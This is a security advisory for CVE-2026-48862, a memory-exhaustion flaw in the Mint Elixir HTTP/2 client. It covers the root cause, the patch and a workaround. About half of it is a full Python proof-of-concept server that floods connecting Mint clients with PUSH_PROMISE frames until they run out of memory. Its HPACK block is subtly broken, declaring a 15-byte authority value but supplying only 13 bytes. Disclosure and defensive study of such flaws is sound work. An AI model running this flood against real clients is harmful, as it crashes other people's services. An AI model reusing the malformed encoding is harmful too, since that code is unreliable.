CVE-2026-48862: Mint HTTP/2 Client Memory Exhaustion via PUSH_PROMISE Flood
A malicious HTTP/2 server can crash any Elixir process using Mint by flooding it with PUSH_PROMISE frames and never sending the matching response headers, causing unbounded memory growth with no way f
The problem
Mint's HTTP/2 client inserts every inbound PUSH_PROMISE frame into the per-connection `conn.streams` map as a `:reserved_remote` entry, but never checks `max_concurrent_streams` at promise time. The concurrency cap is only enforced when the follow-up response HEADERS arrive.
A server that sends PUSH_PROMISE frames and withholds the HEADERS forever never triggers the cap. Because `enable_push` defaults to `true`, no application opt-in is required. Each pinned entry costs roughly 148 bytes; a long-lived connection lets the server grow the map without bound until the BEAM process OOMs.
Proof of concept
A working proof-of-concept for CVE-2026-48862 in mint, with the exact payload below.
#!/usr/bin/env python3
"""
CVE-2026-48862 -- Mint HTTP/2 PUSH_PROMISE flood PoC
Derived from the GHSA advisory PoC steps and patch diff.
Run a raw TCP listener that completes the HTTP/2 handshake,
then floods the connecting Mint client with PUSH_PROMISE frames.
"""
import socket, struct, threading
# Minimal HPACK-encoded headers for a push promise:
# ':method: GET', ':path: /', ':scheme: https', ':authority: evil.example'
HPACK_MIN = bytes([
0x82, # :method: GET (indexed, table[2])
0x84, # :path: / (indexed, table[4])
0x86, # :scheme: https (indexed, table[6])
0x41, 0x0f, # :authority literal, length 15
0x65,0x76,0x69,0x6c,0x2e,0x65,0x78,0x61,
0x6d,0x70,0x6c,0x65,0x00 # "evil.example\x00" (padded to 15)
])
CLIENT_PREFACE = b'PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n'
def build_frame(ftype, flags, stream_id, payload):
length = len(payload)
header = struct.pack('>I', length)[1:] # 3-byte length
header += bytes([ftype, flags])
header += struct.pack('>I', stream_id)
return header + payload
def server_settings():
# Empty SETTINGS frame (server -> client)
return build_frame(0x4, 0x0, 0, b'')
def settings_ack():
return build_frame(0x4, 0x1, 0, b'')
def push_promise_frame(associated_stream_id, promised_stream_id, hblock):
# PUSH_PROMISE: type=0x5, flags=END_HEADERS(0x4)
# Payload: 4 bytes promised stream id (R=0) + header block
promised = struct.pack('>I', promised_stream_id & 0x7FFFFFFF)
payload = promised + hblock
return build_frame(0x5, 0x4, associated_stream_id, payload)
def handle_client(conn):
data = b''
# Wait for client connection preface
while len(data) < len(CLIENT_PREFACE):
data += conn.recv(4096)
# Send server SETTINGS, then ACK client SETTINGS
conn.sendall(server_settings())
conn.sendall(settings_ack())
# Read until we see the client's HEADERS frame (stream 1)
buf = b''
associated_sid = 1
# brief wait for client request
conn.settimeout(2.0)
try:
while True:
buf += conn.recv(4096)
except socket.timeout:
pass
# Flood: send PUSH_PROMISE frames with fresh even stream IDs,
# never followed by response HEADERS -- this is the exploit.
# Each frame pins a :reserved_remote entry in conn.streams.
print("[*] Flooding PUSH_PROMISE frames...")
promised_id = 2 # must be even per HTTP/2 spec
while True:
frame = push_promise_frame(associated_sid, promised_id, HPACK_MIN)
try:
conn.sendall(frame)
except BrokenPipeError:
break
promised_id += 2 # increment even stream ID each time
def main():
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(('0.0.0.0', 8080))
srv.listen(5)
print("[*] Listening on :8080 -- point a Mint HTTP/2 client here")
while True:
conn, addr = srv.accept()
print(f"[*] Connection from {addr}")
threading.Thread(target=handle_client, args=(conn,), daemon=True).start()
if __name__ == '__main__':
main()The root cause is in `Mint.HTTP2.decode_push_promise_headers_and_add_response/5` (lib/mint/http2.ex): it inserts a `:reserved_remote` stream entry for every valid PUSH_PROMISE without consulting `max_concurrent_streams`. The only guard, `assert_valid_promised_stream_id/2`, only checks that the promised ID is even and not already present.
The patch (commit 70b97b6) counts `:reserved_remote` streams against `max_concurrent_streams` at promise time. Any promise that would exceed the limit is now immediately refused with a `RST_STREAM (REFUSED_STREAM)` frame. The HPACK header block is still decoded first to keep the HPACK table in sync, but the stream entry is never stored.
This closes the unbounded allocation window (CWE-770).
The fix
Upgrade to mint >= 1.9.0 (commit 70b97b6). If you cannot upgrade immediately, disable HTTP/2 server push on every connection to an untrusted server: pass `client_settings: [enable_push: false]` to `Mint.HTTP.connect/4`. Mint will then reject any inbound PUSH_PROMISE with a PROTOCOL_ERROR before the vulnerable code path is reached.
Reported by PJUllrich.
Related research
- highCVE-2026-49754CVE-2026-49754: Mint HTTP/2 CONTINUATION Flood Memory Exhaustion
- highCVE-2026-48597CVE-2026-48597: Tesla Mint Adapter BEAM Atom Table Exhaustion via Untrusted URL Scheme
- highCVE-2026-47067CVE-2026-47067: hackney Atom-Table Exhaustion via URL Scheme Parsing
- highCVE-2026-48594CVE-2026-48594: Tesla Middleware Decompression Bomb (DoS)